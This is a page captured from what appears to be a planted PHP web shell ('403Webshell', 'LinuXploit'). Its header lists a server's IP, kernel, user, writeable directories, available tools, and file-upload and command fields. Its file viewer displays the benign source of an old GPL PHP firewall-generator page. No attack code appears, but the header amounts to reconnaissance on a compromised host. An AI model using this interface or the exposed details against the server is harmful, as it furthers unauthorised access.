403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : nginx ( 991)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/www/hacklab/phpfwgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/www/hacklab/phpfwgen/index.php3
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.0//EN" "html.dtd">
<HTML>

<HEAD>
<TITLE>PHP Firewall Generator -- Start Here</TITLE>
<?php

#############################################################################
#
# $Id: index.php3,v 1.44 2000/04/14 06:39:37 delson Exp $
#
# PHP Firewall Generator by Del <del@babel.com.au>.  Original coding ideas
# from IPCHAINS-FIREWALL V1.6.2m by Ian Hall-Beyer
# and various others.
#
# (C) Del under the GPL.
#
#############################################################################

#
# Define some constants.
#

require ('config.inc');
require ('files.inc');
require ('utility.inc');
require ('javascript.inc');

gen_script();

?>

</HEAD>

<BODY BGCOLOR="#FFFFFF">

<TABLE WIDTH=100% BGCOLOR=#339933>
<TR>
  <TD ALIGN=LEFT VALIGN=TOP><FONT SIZE=+2 COLOR=WHITE>PHP Firewall Generator</FONT></TD>
</TR>
</TABLE>

<TABLE BORDER=0 CELLSPACING=2 CELLPADDING=4>

<TR><TD>&nbsp;</TD><TD><HR></TD></TR>

<TR><TD ALIGN=LEFT VALIGN=TOP><B>Introduction</B></TD>
<TD>

<A HREF="http://www.php.net/"><IMG SRC="phplogo1.gif" ALT="Powered by PHP" ALIGN=RIGHT BORDER=0></A>
This a PHP based firewall script
generator for ipchains based firewalls on Linux.
<P>
(c)
<A HREF="mailto:del@babel.com.au">Del</A>
1999 under the
<A HREF="http://www.gnu.org/copyleft/gpl.html">GPL</A>
<P>

Here are some very basic instructions:
<P>

<UL>
<LI>Make sure that your /etc/services file and /etc/protocols file
are correct.  You can't define any rules in your firewall for services
or protocols that don't exist in these files.
<LI>Make sure the interface list is correct.  This is for reference
purposes only and isn't actually used anywhere in the program, but
it does give you a sanity check to make sure that everything is defined
the way it should be.
<LI>Enter all of your network objects.
<LI>Enter your firewall rules, including port forwarding rules (used to
hide a server behind the firewall) and redirector rules (used for transparent
proxying of services to a proxy server on the firewall).
<LI>Once your firewall rules are entered, check the script at the bottom
of the page.  You can cut and paste this into a text editor and use it
as your firewall script.  You can also have it e-mailed to you.  The
script is also stored in /var/lib/phpfwgen/firewall if you want to
install it into your system startup folders.
</UL>

<A HREF="javascript:showHelp('help.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
<B>Help System:</B>
<P>

You can access the help system by clicking on the question mark icon,
shown to the right of this text.
<P>

<?php
#
# Do some checks for installed software.
#
check_files();
?>

<HR></TD></TR>

<?php
#############################################################################
#
# Interfaces.
#
#############################################################################
?>

<TR><TD ALIGN=LEFT VALIGN=TOP>
<A HREF="javascript:openInterfaces();"><B>Interfaces</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-interfaces.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
The interface list is for reference purposes only.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Protocols.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openProtocols();"><B>Protocols</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-protocols.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
The protocols table is for reference only.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Services.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openServices();"><B>Services</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-services.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
The services table is for reference only.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Open ports.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openPorts();"><B>Open Ports</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-openports.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
The open ports table is for reference only.
<P>

<HR></TD></TR>
 
<?php
#############################################################################
#
# Network Objects.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openObjects();"><B>Network Objects</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-netobjects.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
Enter all of your network objects here.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Firewall Rules.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openRules();"><B>Firewall Rules</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-rules.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
Enter your firewall rules here.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Port Forward Rules.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openPortfwd();"><B>Port Forwarding<BR>Rules</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-portfwd.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
Enter your port forwarding rules here.  You only need these if you are
going to forward TCP or UDP ports from the firewall to a server that
is masqueraded behind the firewall.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Redirector Rules.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openRedirect();"><B>Redirector Rules</B></A>
</TD>

<TD>
<A HREF="javascript:showHelp('help-redir.html');"><IMG SRC="help.gif" ALT="Help" ALIGN=RIGHT BORDER=0></A>
Enter your redirector rules here.  You only need these if you are going
to offer transparent proxying services on your firewall.
<P>

<HR></TD></TR>

<?php
#############################################################################
#
# Firewall Script.
#
#############################################################################
?>

<TR><TD ALIGN=left VALIGN=top>
<A HREF="javascript:openScript();"><B>Current Script</B></A>
</TD>

<TD>
Click here to see the current firewall script.
<P>

<HR></TD></TR>

</TABLE>

</BODY>
</HTML>

Youez - 2016 - github.com/yon3zu
LinuXploit